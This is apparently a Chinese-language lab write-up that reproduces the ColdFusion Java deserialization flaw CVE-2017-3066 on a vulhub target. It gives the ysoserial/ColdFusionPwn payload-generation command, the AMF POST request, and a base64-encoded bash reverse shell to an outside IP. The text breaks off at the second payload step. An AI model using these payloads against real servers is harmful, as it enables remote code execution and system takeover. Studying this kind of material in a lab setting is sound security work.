影响版本
Adobe ColdFusion (2016 release) Update 3及之前的版本
ColdFusion 11 Update 11及之前的版本
ColdFusion 10 Update 22及之前的版本
漏洞原理
Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。
环境准备
靶机环境 139.196.87.102 (vulhub)
攻击机环境 192.168.8.137 (虚拟机 Ubuntu 20、Java1.8、Burp)
启动 Adobe ColdFusion 反序列化漏洞 环境
1.进入 vulhub 的 Adobe ColdFusion 路径
cd /usr/local/tools/vulhub/coldfusion/CVE-2017-3066
2.编译并启动环境
docker-compose up -d
3.查看环境运行状态
docker ps | grep vulhub
访问 “http://139.196.87.102:8500/CFIDE/administrator/index.cfm”,输入密码 “vulhub” 完成安装
漏洞利用
我们需要使用ColdFusionPwn工具来生成POC:
https://github.com/codewhitesec/ColdFusionPwn/releases/tag/0.0.1
生成POC命令如下
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-d367e379d9-1.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
会在两个jar包当前所在目录生成一个 poc.ser 文件
访问 http://your-ip:8500/flex2gateway/amf,并抓包将 Content-Type 改为application/x-amf,修改为 POST 协议,并添加刚刚生成的 poc.ser 文件
POST /flex2gateway/amf HTTP/1.1
Host: 139.196.87.102:8500
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853
nice 老铁!利用成功!
尝试反弹shell
同时我们试一下,利用该漏洞反弹shell
构造反弹命令
bash -i >& /dev/tcp/47.98.192.99/7777 0>&1
将其进行 base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OC4xOTIuOTkvNzc3NyAwPiYxIA==
使用 ColdFusionPwn 工具再次生成 poc.ser